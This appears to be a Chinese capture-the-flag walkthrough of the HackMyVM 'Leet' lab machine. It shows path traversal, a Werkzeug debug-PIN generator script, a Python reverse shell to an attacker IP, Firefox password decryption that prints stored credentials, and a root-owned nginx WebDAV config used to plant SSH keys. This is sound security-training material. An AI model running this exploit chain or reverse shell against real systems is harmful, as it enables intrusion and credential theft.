信息收集

ip定位

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# arp-scan -l | grep "08:00:27"
3
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
4
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
5
192.168.0.197   08:00:27:cf:b1:b4       (Unknown)

nmap扫描

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.197
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-14 07:00 EST
4
Nmap scan report for 192.168.0.197
5
Host is up (0.00081s latency).
6
Not shown: 65534 closed tcp ports (conn-refused)
7
PORT     STATE SERVICE VERSION
8
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
9
| ssh-hostkey:
10
|   256 e1:5d:7c:b7:07:92:17:dc:46:76:7d:be:a9:50:43:d2 (ECDSA)
11
|_  256 a0:f3:b3:86:93:f5:58:82:88:dd:e5:10:db:35:de:62 (ED25519)
12
7777/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.11.2)
13
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
14
|_http-server-header: Werkzeug/3.0.1 Python/3.11.2
15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16

17
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18
Nmap done: 1 IP address (1 host up) scanned in 19.82 seconds

目录扫描

1
┌──(web)─(root㉿kali)-[/home/kali]
2
    _|. _ _  _  _  _ _|_    v0.4.3.post1
3
 (_||| _) (/_(_|| (_| )
4

5
Extensions: php, aspx, jsp, html, js
6
HTTP method: GET | Threads: 25
7
Wordlist size: 11460
8

9
Output File: /home/kali/reports/_192.168.0.197_7777/_26-01-14_07-02-22.txt
10

11
Target: http://192.168.0.197:7777/
12

13
[07:02:22] Starting:
14
[07:02:41] 200 -    2KB - /console
15
[07:02:43] 500 -   14KB - /download
16

17
Task Completed
18

19
┌──(web)─(root㉿kali)-[/home/kali]
20
└─# gobuster dir -u http://192.168.0.197:7777 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
21
===============================================================
22
Gobuster v3.6
23
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
24
===============================================================
25
[+] Url:                     http://192.168.0.197:7777
26
[+] Method:                  GET
27
[+] Threads:                 64
28
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
29
[+] Negative Status codes:   404
30
[+] User Agent:              gobuster/3.6
31
[+] Extensions:              js,yaml,php,txt,html,zip,db,bak
32
[+] Timeout:                 10s
33
===============================================================
34
Starting gobuster in directory enumeration mode
35
===============================================================
36
/download             (Status: 500) [Size: 14478]
37
/console              (Status: 200) [Size: 1563]

7777端口

/index

a→4 e→3 i→1 o→0 s→5 t→7 b→8 g→6 l→1 z→2

查看下载文件的链接

http://192.168.0.197:7777/download?filename=converted_text.txt↗

尝试

http://192.168.0.197:7777/download?filename=../../../etc/passwd↗

成功下载出passwd

http://192.168.0.197:7777/download?filename=../../../tmp/↗

1
     var CONSOLE_MODE = false,
2
          EVALEX = true,
3
          EVALEX_TRUSTED = false,
4
          SECRET = "XKgNAKb38bX6ogmO8S5t";

http://192.168.0.197:7777/download?filename=../../../../opt/project/app.py↗

得到源码

1
from flask import Flask, request, send_file, abort, render_template_string
2
from werkzeug.exceptions import BadRequest
3
import os
4

5
app = Flask(__name__)
6
app.config['DEBUG'] = True
7

8
@app.route('/', methods=['GET', 'POST'])
9
def leet_converter():
10
    if request.method == 'POST':
11
        text = request.form['text']
12
        leet_text = text.translate(str.maketrans("aeios", "43105"))
13
        output_filename = "/tmp/converted_text.txt"
14
        with open(output_filename, "w") as f:
15
            f.write(leet_text)
16
        return render_template_string('''
17
            <!DOCTYPE html>
18
            <html>
19
            <head>
20
    <title>L33T Convertor</title>
21
                <style>
22
                    body { background-color: #333; color: #ddd; font-family: "Courier New", Courier, monospace; margin: 0; padding: 20px; }
23
                    .container { max-width: 600px; margin: auto; padding: 20px; background-color: #444; border-radius: 8px; }
24
                    h2 {
25
        color: #eee;
26
            text-align: center;
27
        }
28

29
                    a, a:visited { color: #dcdcdc; text-decoration: underline; }
30
                    a:hover { color: #ffffff; }
31
                    form { display: flex; flex-direction: column; }
32
                    input[type="text"], input[type="submit"] { padding: 10px; margin-top: 10px; border-radius: 4px; border: 1px solid #555; background: #555; color: #ddd; }
33
                    input[type="submit"] { cursor: pointer; }
34
                    input[type="submit"]:hover { background: #666; }
35
                </style>
36
            </head>
37
            <body>
38
                <div class="container">
39
                    <h2>L33T converter</h2>
40
                    <form method="post">
41
                        <input type="text" name="text" placeholder="Type your text here">
42
                        <input type="submit" value="Convert to L33T">
43
                    </form>
44
                    {% if leet_text %}
45
                        <p>Résultat : {{ leet_text }}</p>
46
                        <a href="/download?filename=converted_text.txt">Download file text</a>
47
                    {% endif %}
48
                </div>
49
            </body>
50
            </html>
51
        ''', leet_text=leet_text)
52
    else:
53
        return render_template_string('''
54
            <!DOCTYPE html>
55
            <html>
56
            <head>
57
                <style>
58
                    body { background-color: #333; color: #ddd; font-family: "Courier New", Courier, monospace; margin: 0; padding: 20px; }
59
                    .container { max-width: 600px; margin: auto; padding: 20px; background-color: #444; border-radius: 8px; }
60
                    h2 { color: #eee; }
61
                    form { display: flex; flex-direction: column; }
62
                    input[type="text"], input[type="submit"] { padding: 10px; margin-top: 10px; border-radius: 4px; border: 1px solid #555; background: #555; color: #ddd; }
63
                    input[type="submit"] { cursor: pointer; }
64
                    input[type="submit"]:hover { background: #666; }
65
                </style>
66
            </head>
67
            <body>
68
                <div class="container">
69
                    <center><h2>L33T Converter</h2></center>
70
                    <form method="post">
71
                        <input type="text" name="text" placeholder="Type your text here">
72
                        <input type="submit" value="Convert to L33T">
73
                    </form>
74
                </div>
75
            </body>
76
            </html>
77
        ''')
78

79
@app.route('/download')
80
def download_file():
81
    filename = request.args.get('filename')
82

83
    if not filename or filename.startswith("/"):
84
        raise ValueError("Parameter 'filename' invalid or missing.")
85

86
    filepath = os.path.join("/tmp", filename)
87

88
    try:
89
        return send_file(filepath, as_attachment=True)
90
    except Exception as e:
91
        raise e
92

93
if __name__ == '__main__':
94
    app.run(debug=True, host='0.0.0.0')

写个脚本计算pin码

计算pin码

为什么需要计算 PIN 码？

Werkzeug 是 Flask 的底层 WSGI 工具库。当 Flask 应用在调试模式（debug=True）下崩溃时，会显示一个交互式调试器页面。这个调试器有一个 Python 控制台，可以用来执行任意 Python 代码（RCE）。

为了安全，Werkzeug 要求输入 PIN 码 才能解锁这个控制台。但这个 PIN 码是基于系统特定信息生成的，如果攻击者能获取这些信息，就可以计算出 PIN 码。

PIN 码计算需要的信息：

根据 Werkzeug 的源码，计算 PIN 码需要以下 6 个信息：

1. 用户名 - 运行 Flask 进程的用户

获取方式：读取 /proc/self/status 或 /proc/<pid>/status
查找 Uid: 或 Name: 字段

2. modname - 模块名（通常是 `'flask.app'`）

3. 应用名 - （通常是 `'Flask'`）

4. 文件路径 - Flask 库的绝对路径

我们已经知道：/opt/project/venv/lib/python3.11/site-packages/flask/app.py

5. 机器 ID - 系统的唯一标识

我们已经获取：f6791f240ce6407ea271e86b78ac3bdb
来自 /etc/machine-id

6. cgroup 信息 - 容器的 cgroup 信息（如果是容器环境）

获取方式：读取 /proc/self/cgroup

这个靶机有个bug点就是/proc/self/cgroup不容易取出来

靠玄学才会取出来，看wp用火狐可以用别的取不出来，我怎么都取不出来

获取pin码生成脚本

1
curl "http://192.168.0.197:7777/download?filename=../../../../opt/project/venv/lib/python3.11/site-packages/werkzeug/debug/__init__.py"

尝试计算pin，可以参考https://github.com/wdahlenburg/werkzeug-debug-console-bypass

1
/etc/machine-id
2
# f6791f240ce6407ea271e86b78ac3bdb
3
/proc/sys/kernel/random/boot_id
4
# da68b9a7-336e-40df-879a-f38a6447bfe9
5
/proc/self/cgroup
6
# 0::/system.slice/flaskapp.service

1
MAC地址: 08:00:27:cf:b1:b4
2
MAC十进制: 8796760945076
3
用户名: www-data

1
#!/bin/python3
2
import hashlib
3
from itertools import chain
4

5
probably_public_bits = [
6
        'www-data',# username
7
        'flask.app',# modname
8
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
9
        '/opt/project/venv/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
10
]
11

12
private_bits = [
13
        '8796757588703',# str(uuid.getnode()),  /sys/class/net/ens33/address
14
        # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
15
        'f6791f240ce6407ea271e86b78ac3bdbflaskapp.service'
16
]
17

18
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
19
for bit in chain(probably_public_bits, private_bits):
20
        if not bit:
21
                continue
22
        if isinstance(bit, str):
23
                bit = bit.encode('utf-8')
24
        h.update(bit)
25
h.update(b'cookiesalt')
26

27
cookie_name = '__wzd' + h.hexdigest()[:20]
28

29
num = None
30
if num is None:
31
        h.update(b'pinsalt')
32
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
33

34
rv = None
35
if rv is None:
36
        for group_size in 5, 4, 3:
37
                if len(num) % group_size == 0:
38
                        rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
39
                                                  for x in range(0, len(num), group_size))
40
                        break
41
        else:
42
                rv = num
43

44
print("Pin: " + rv)

死活失败

我参考了其他大佬的WP，发现其余都是不变的，变化的只有网卡的MAC地址

换了个环境，在此环境下VirtualBox版本为6.0.14，导入靶机时默认设置

生成的pin码即可验证通过

/console

1
控制台已被锁定，需要输入 PIN 才能解锁。你可以在运行该服务器的 shell 的标准输出中找到打印出来的 PIN。

输入pin码进入

一个python命令框

直接反弹shell

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.106",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

提权

提权-riva

1
(remote) www-data@leet.hmv:/$ sudo -l
2
Matching Defaults entries for www-data on leet:
3
    env_reset, mail_badpass,
4
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
5
    use_pty
6

7
User www-data may run the following commands on leet:
8
    (riva) NOPASSWD: /usr/bin/micro

Ctrl+b可以打开shell

直接输入/bin/sh即可

提权root

升级tty

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

1
riva@leet:~$ cat user.txt
2
3a5cf7b35876169c280229c213ed63c1

1
sudo -l
2
需要密码
3

4

5
curl http://192.168.0.106:8888/authorized_keys.pub -o /home/riva/.ssh/authorized_keys

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# ssh riva@192.168.0.101 -i authorized_keys
3
The authenticity of host '192.168.0.101 (192.168.0.101)' can't be established.
4
ED25519 key fingerprint is SHA256:V0kY0pxHYgYYJeQXQGSoUclaPX71KqkFTnqjTNaj/Qk.
5
This host key is known by the following other names/addresses:
6
    ~/.ssh/known_hosts:41: [hashed name]
7
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
8
Warning: Permanently added '192.168.0.101' (ED25519) to the list of known hosts.
9
Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64
10

11
The programs included with the Debian GNU/Linux system are free software;
12
the exact distribution terms for each program are described in the
13
individual files in /usr/share/doc/*/copyright.
14

15
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
16
permitted by applicable law.
17
/bin/bash: connect: Connection refused
18
/bin/bash: line 1: /dev/tcp/192.168.0.106/4444: Connection refused
19
riva@leet:~$

火狐取密

1
riva@leet:~$ dpkg -l
2
Desired=Unknown/Install/Remove/Purge/Hold
3
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
4
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
5
||/ Name                            Version                        Architecture Description
6
+++-===============================-==============================-============-===========================>
7
ii  adduser                         3.134                          all          add and remove users and gr>
8
rc  adwaita-icon-theme              43-1                           all          default icon theme of GNOME
9
ii  alsa-topology-conf              1.2.5.1-2                      all          ALSA topology configuration>
10
ii  alsa-ucm-conf                   1.2.8-1                        all          ALSA Use Case Manager confi>
11
ii  anacron                         2.3-36                         amd64        cron-like program that does>
12
rc  apache2                         2.4.57-2                       amd64        Apache HTTP Server
13
ii  apparmor                        3.0.8-3                        amd64        user-space parser utility f>
14
ii  apt                             2.6.1                          amd64        commandline package manager
15
ii  apt-listchanges                 3.24                           all          package change history noti>
16
ii  apt-utils                       2.6.1                          amd64        package management related >
17
ii  aspell                          0.60.8-4+b1                    amd64        GNU Aspell spell-checker
18
ii  aspell-fr                       0.50-3-8.1                     all          French dictionary for aspell
19
rc  at-spi2-core                    2.46.0-5                       amd64        Assistive Technology Servic>
20
ii  avahi-autoipd                   0.8-10                         amd64        Avahi IPv4LL network addres>
21
ii  base-files                      12.4+deb12u5                   amd64        Debian base system miscella>
22
ii  base-passwd                     3.6.1                          amd64        Debian base system master p>
23
ii  bash                            5.2.15-2+b2                    amd64        GNU Bourne Again SHell
24
ii  bash-completion                 1:2.11-6                       all          programmable completion for>
25
ii  bind9-dnsutils                  1:9.18.24-1                    amd64        Clients provided with BIND 9
26
ii  bind9-host                      1:9.18.24-1                    amd64        DNS Lookup Utility
27
ii  bind9-libs:amd64                1:9.18.24-1                    amd64        Shared Libraries used by BI>
28
ii  binutils                        2.40-2                         amd64        GNU assembler, linker and b>
29
ii  binutils-common:amd64           2.40-2                         amd64        Common files for the GNU as>
30
ii  binutils-x86-64-linux-gnu       2.40-2                         amd64        GNU binary utilities, for x>
31
ii  bluetooth                       5.66-1+deb12u1                 all          Bluetooth support (metapack>
32
ii  bluez                           5.66-1+deb12u1                 amd64        Bluetooth tools and daemons
33
ii  bsdextrautils                   2.38.1-5+deb12u1               amd64        extra utilities from 4.4BSD>
34
ii  bsdutils                        1:2.38.1-5+deb12u1             amd64        basic utilities from 4.4BSD>
35
ii  busybox                         1:1.35.0-4+b3                  amd64        Tiny utilities for small an>
36
ii  bzip2                           1.0.8-5+b1                     amd64        high-quality block-sorting >
37
ii  ca-certificates                 20230311                       all          Common CA certificates
38
ii  console-setup                   1.221                          all          console font and keymap set>
39
ii  console-setup-linux             1.221                          all          Linux specific part of cons>
40
ii  coreutils                       9.1-1                          amd64        GNU core utilities
41
ii  cpio                            2.13+dfsg-7.1                  amd64        GNU cpio -- a program to ma>
42
ii  cpp                             4:12.2.0-3                     amd64        GNU C preprocessor (cpp)
43
ii  cpp-12                          12.2.0-14                      amd64        GNU C preprocessor
44
ii  cron                            3.0pl1-162                     amd64        process scheduling daemon
45
ii  cron-daemon-common              3.0pl1-162                     all          process scheduling daemon's>
46
ii  curl                            7.88.1-10+deb12u5              amd64        command line tool for trans>
47
ii  dash                            0.5.12-2                       amd64        POSIX-compliant shell
48
ii  dbus                            1.14.10-1~deb12u1              amd64        simple interprocess messagi>
49
ii  dbus-bin                        1.14.10-1~deb12u1              amd64        simple interprocess messagi>
50
ii  dbus-daemon                     1.14.10-1~deb12u1              amd64        simple interprocess messagi>
51
ii  dbus-session-bus-common         1.14.10-1~deb12u1              all          simple interprocess messagi>
52
ii  dbus-system-bus-common          1.14.10-1~deb12u1              all          simple interprocess messagi>
53
ii  dbus-user-session               1.14.10-1~deb12u1              amd64        simple interprocess messagi>
54
ii  debconf                         1.5.82                         all          Debian configuration manage>
55
ii  debconf-i18n                    1.5.82                         all          full internationalization s>
56
ii  debian-archive-keyring          2023.3+deb12u1                 all          GnuPG archive keys of the D>
57
ii  debian-faq                      11.1                           all          Debian Frequently Asked Que>
58
ii  debianutils                     5.7-0.5~deb12u1                amd64        Miscellaneous utilities spe>
59
ii  dictionaries-common             1.29.5                         all          spelling dictionaries - com>
60
ii  diffutils                       1:3.8-4                        amd64        File comparison utilities
61
ii  dirmngr                         2.2.40-1.1                     amd64        GNU privacy guard - network>
62
ii  discover                        2.1.2-10                       amd64        hardware identification sys>
63
ii  discover-data                   2.2013.01.13                   all          Data lists for Discover har>
64
ii  distro-info-data                0.58+deb12u1                   all          information about the distr>
65
ii  dmidecode                       3.4-1                          amd64        SMBIOS/DMI table decoder
66
ii  dmsetup                         2:1.02.185-2                   amd64        Linux Kernel Device Mapper >
67
ii  doc-debian                      11.3+nmu1                      all          Debian Project documentatio>
68
ii  dpkg                            1.21.22                        amd64        Debian package management s>
69
ii  dpkg-dev                        1.21.22                        all          Debian package development >
70
ii  e2fsprogs                       1.47.0-2                       amd64        ext2/ext3/ext4 file system >
71
ii  eject                           2.38.1-5+deb12u1               amd64        ejects CDs and operates CD->
72
ii  emacsen-common                  3.0.5                          all          Common facilities for all e>
73
ii  fakeroot                        1.31-1.2                       amd64        tool for simulating superus>
74
ii  fdisk                           2.38.1-5+deb12u1               amd64        collection of partitioning >
75
ii  file                            1:5.44-3                       amd64        Recognize the type of data >
76
ii  findutils                       4.9.0-4                        amd64        utilities for finding files>
77
rc  firefox-esr                     115.7.0esr-1~deb12u1           amd64        Mozilla Firefox web browser>

发现了firefox-esr

https://github.com/unode/firefox_decrypt↗

使用工具

1
riva@leet:~$ ls -la
2
total 40
3
drwxr-xr-x 6 riva riva 4096 Feb 14 21:00 .
4
drwxr-xr-x 3 root root 4096 Feb 14 21:00 ..
5
lrwxrwxrwx 1 riva riva    9 Feb 11 15:58 .bash_history -> /dev/null
6
-rw-r--r-- 1 riva riva  220 Feb 14 21:00 .bash_logout
7
-rw-r--r-- 1 riva riva 3526 Feb 14 21:00 .bashrc
8
drwxr-xr-x 3 riva riva 4096 Feb 14 21:00 .config
9
drwxr-xr-x 3 riva riva 4096 Feb 14 21:00 .local
10
drwx------ 4 riva riva 4096 Feb 14 21:00 .mozilla
11
-rw-r--r-- 1 riva riva  807 Feb 14 21:00 .profile
12
drwx------ 2 riva riva 4096 Feb 14 21:00 .ssh
13
-rwx------ 1 riva riva   33 Feb 14 21:00 user.txt
14
riva@leet:~$ cd .mozilla/
15
riva@leet:~/.mozilla$ ls -la
16
total 16
17
drwx------ 4 riva riva 4096 Feb 14 21:00 .
18
drwxr-xr-x 6 riva riva 4096 Feb 14 21:00 ..
19
drwx------ 2 riva riva 4096 Feb 14 21:00 extensions
20
drwx------ 6 riva riva 4096 Feb 14 21:00 firefox
21
riva@leet:~/.mozilla$ cd firefox/
22
riva@leet:~/.mozilla/firefox$ ls -la
23
total 32
24
drwx------  6 riva riva 4096 Feb 14 21:00  .
25
drwx------  4 riva riva 4096 Feb 14 21:00  ..
26
drwx------  3 riva riva 4096 Feb 14 21:00 'Crash Reports'
27
drwx------ 16 riva riva 4096 Feb 14 21:00  guu30cui.default-esr
28
-rw-r--r--  1 riva riva   58 Feb 14 21:00  installs.ini
29
drwx------  2 riva riva 4096 Feb 14 21:00 'Pending Pings'
30
-rw-r--r--  1 riva riva  247 Feb 14 21:00  profiles.ini
31
drwx------  2 riva riva 4096 Feb 14 21:00  zbznfk37.default
32

33
riva@leet:~/.mozilla/firefox$ cd /tmp
34
riva@leet:/tmp$ vi firefox_decrypt.py
35
riva@leet:/tmp$ chmod +x firefox_decrypt.py
36
riva@leet:/tmp$ python3 -V
37
Python 3.11.2
38
riva@leet:/tmp$ python3 firefox_decrypt.py
39
Select the Mozilla profile you wish to decrypt
40
1 -> zbznfk37.default
41
2 -> guu30cui.default-esr
42
1
43
2024-07-01 12:35:59,994 - ERROR - Couldn't initialize NSS, maybe '/home/riva/.mozilla/firefox/zbznfk37.default' is not a valid profile?
44
riva@leet:/tmp$ python3 firefox_decrypt.py
45
Select the Mozilla profile you wish to decrypt
46
1 -> zbznfk37.default
47
2 -> guu30cui.default-esr
48
2
49

50
Website:   chrome://FirefoxAccounts
51
Username: '1db9561103ca4adc9afa6357c0a0b554'
52
Password: '{"version":1,"accountData":{"scopedKeys":{"https://identity.mozilla.com/apps/oldsync":{"kid":"1603273389635-IxsZ6HpGK9fL9tUfdcBqwA","k":"Q8lFF-E91kvogabSQ2yjKj7k2JHX30UDeHEriaxaCY5slUVmtQvP-e3is5GxBiUKkG3g4dQLbFRsVOYeMkjNpg","kty":"oct"},"sync:addon_storage":{"kid":"1603273389635-Ng9dJrdpVFqEoBs-R3LaTMKTiSWhWypqfmg9MJDby4U","k":"L8MGJk3tWVlmN9Sm-MmdauxuQ38fIl--NziTjg_AmjO51_-vHo70OELMwif8kqn2zE3Yqg30BLw1ndNplRzGCA","kty":"oct"}},"kSync":"43c94517e13dd64be881a6d2436ca32a3ee4d891d7df450378712b89ac5a098e6c954566b50bcff9ede2b391b106250a906de0e1d40b6c546c54e61e3248cda6","kXCS":"231b19e87a462bd7cbf6d51f75c06ac0","kExtSync":"2fc306264ded59596637d4a6f8c99d6aec6e437f1f225fbe3738938e0fc09a33b9d7ffaf1e8ef43842ccc227fc92a9f6cc4dd8aa0df404bc359dd369951cc608","kExtKbHash":"360f5d26b769545a84a01b3e4772da4cc2938925a15b2a6a7e683d3090dbcb85"}}'
53

54
Website:   http://leet.hmv
55
Username: 'riva'
56
Password: 'PGH$2r0co3L5QL'
57

58
Website:   https://hackmyvm.eu
59
Username: 'riva'
60
Password: 'lovelove80'

riva/PGH$2r0co3L5QL

1
riva@leet:/tmp$ sudo -l
2
[sudo] password for riva:
3
Matching Defaults entries for riva on leet:
4
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
5
    use_pty
6

7
User riva may run the following commands on leet:
8
    (root) /usr/sbin/nginx

nginx提权

https://gist.github.com/DylanGrl/ab497e2f01c7d672a80ab9561a903406↗

1
riva@leet:/tmp$ cat << EOF > /tmp/nginx_pwn.conf
2
user root;
3
worker_processes 4;
4
pid /tmp/nginx.pid;
5
events {
6
        worker_connections 768;
7
}
8
http {
9
        server {
10
                listen 1339;
11
                root /;
12
                autoindex on;
13
                dav_methods PUT;
14
        }
15
}
16
EOF
17
riva@leet:/tmp$ cat /tmp/nginx_pwn.conf
18
user root;
19
worker_processes 4;
20
pid /tmp/nginx.pid;
21
events {
22
        worker_connections 768;
23
}
24
http {
25
        server {
26
                listen 1339;
27
                root /;
28
                autoindex on;
29
                dav_methods PUT;
30
        }
31
}
32
riva@leet:/tmp$ sudo -u root nginx -c /tmp/nginx_pwn.conf
33
2026/01/14 18:08:38 [emerg] 1355#1355: bind() to 0.0.0.0:1339 failed (98: Address already in use)
34
2026/01/14 18:08:38 [emerg] 1355#1355: bind() to 0.0.0.0:1339 failed (98: Address already in use)
35
2026/01/14 18:08:38 [emerg] 1355#1355: bind() to 0.0.0.0:1339 failed (98: Address already in use)
36
2026/01/14 18:08:38 [emerg] 1355#1355: bind() to 0.0.0.0:1339 failed (98: Address already in use)
37
2026/01/14 18:08:38 [emerg] 1355#1355: bind() to 0.0.0.0:1339 failed (98: Address already in use)
38
2026/01/14 18:08:38 [emerg] 1355#1355: still could not bind()
39
riva@leet:/tmp$ ssh-keygen
40
Generating public/private rsa key pair.
41
Enter file in which to save the key (/home/riva/.ssh/id_rsa): root_shell
42
root_shell already exists.
43
Overwrite (y/n)? y
44
Enter passphrase (empty for no passphrase):
45
Enter same passphrase again:
46
Your identification has been saved in root_shell
47
Your public key has been saved in root_shell.pub
48
The key fingerprint is:
49
SHA256:ADl9vd+/FbVOFBjgrTGIR2yHSuBhWKzVhdtqFG7XqS8 riva@leet.hmv
50
The key's randomart image is:
51
+---[RSA 3072]----+
52
|    =Bo ++....o. |
53
|   .=+o=+++...  .|
54
|    oo+o*oo=.. ..|
55
|   .   B.o.o+ . o|
56
|      o S .o . + |
57
|       o .  . + .|
58
|      .   .    o.|
59
|         E .    o|
60
|          .    ..|
61
+----[SHA256]-----+
62

63
riva@leet:/tmp$ cat root_shell.pub
64
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZU+DMPbpynDPmpaLMiHKN9HBd+nH4pqVYIJ66gdkSW+eOSRKWmn9lHm2O1QxjtN8HXvWGjIsdqcqEFRau2MlfaEyh6oViMZ3P7Vhyl1I1EQ9epwoxW4dr7upOcQYCMutird+Uz1/v5qQphAZtBQ1qkjs3bfWXtd4QukQVZJJyPVYai9JFXwBccxP/jLva01fb/0XPRFMoSIqswDe5eyh1vFSwXYsoK3EeNrRR8K2woS6AtOQGJ+CzepjaT93Zzq95sk4rF+ZQ8B6MeyOiB3cEBDxBLg8RQlxHc7R8P0ZNEyMiy2gfN/HQKt+mxbAE/iAht4xLCbyHAuIykuNEm2pYBZycPLZlRNMKYMAkifoPlsQOwXRgjEbJZtbp2mVBgDLSV0hkLYXrTYet8PkmI1QQmqcBgXAhLmnTj/cxbgUNY9n79qQ6trva9hs1Fi+GZBh6mW1YmWWHvyjYZ75F5Q1TB9rWM7goeT4N59LVz4+trdK11wGFZnXWHVpLyDMk5Fk= riva@leet.hmv
65
riva@leet:/tmp$ curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZU+DMPbpynDPmpaLMiHKN9HBd+nH4pqVYIJ66gdkSW+eOSRKWmn9lHm2O1QxjtN8HXvWGjIsdqcqEFRau2MlfaEyh6oViMZ3P7Vhyl1I1EQ9epwoxW4dr7upOcQYCMutird+Uz1/v5qQphAZtBQ1qkjs3bfWXtd4QukQVZJJyPVYai9JFXwBccxP/jLva01fb/0XPRFMoSIqswDe5eyh1vFSwXYsoK3EeNrRR8K2woS6AtOQGJ+CzepjaT93Zzq95sk4rF+ZQ8B6MeyOiB3cEBDxBLg8RQlxHc7R8P0ZNEyMiy2gfN/HQKt+mxbAE/iAht4xLCbyHAuIykuNEm2pYBZycPLZlRNMKYMAkifoPlsQOwXRgjEbJZtbp2mVBgDLSV0hkLYXrTYet8PkmI1QQmqcBgXAhLmnTj/cxbgUNY9n79qQ6trva9hs1Fi+GZBh6mW1YmWWHvyjYZ75F5Q1TB9rWM7goeT4N59LVz4+trdK11wGFZnXWHVpLyDMk5Fk= riva@leet.hmv"
66
riva@leet:/tmp$ ssh root@0.0.0.0 -i root_shell
67
Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64
68

69
The programs included with the Debian GNU/Linux system are free software;
70
the exact distribution terms for each program are described in the
71
individual files in /usr/share/doc/*/copyright.
72

73
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
74
permitted by applicable law.
75
Last login: Tue May 28 17:37:49 2024 from 192.168.0.178
76
root@leet:~#

1
root@leet:~# cat r007_fl46.7x7
2
ca169772acb099a02ebab8da1d9070ea

Thanks for reading!

HMV-Leet

Thu Jan 15 2026

524 words · 2 minutes

Documentation Hackmyvm Hackmyvm Linux Machine Enumeration Privilege Escalation

HMV-Leet

信息收集

ip定位

nmap扫描

目录扫描

7777端口

/index

计算pin码

为什么需要计算 PIN 码？

PIN 码计算需要的信息：

1. 用户名 - 运行 Flask 进程的用户

2. modname - 模块名（通常是 'flask.app'）

3. 应用名 - （通常是 'Flask'）

4. 文件路径 - Flask 库的绝对路径

5. 机器 ID - 系统的唯一标识

6. cgroup 信息 - 容器的 cgroup 信息（如果是容器环境）

/console

提权

提权-riva

提权root

升级tty

火狐取密

nginx提权

HMV-Leet

2. modname - 模块名（通常是 `'flask.app'`）

3. 应用名 - （通常是 `'Flask'`）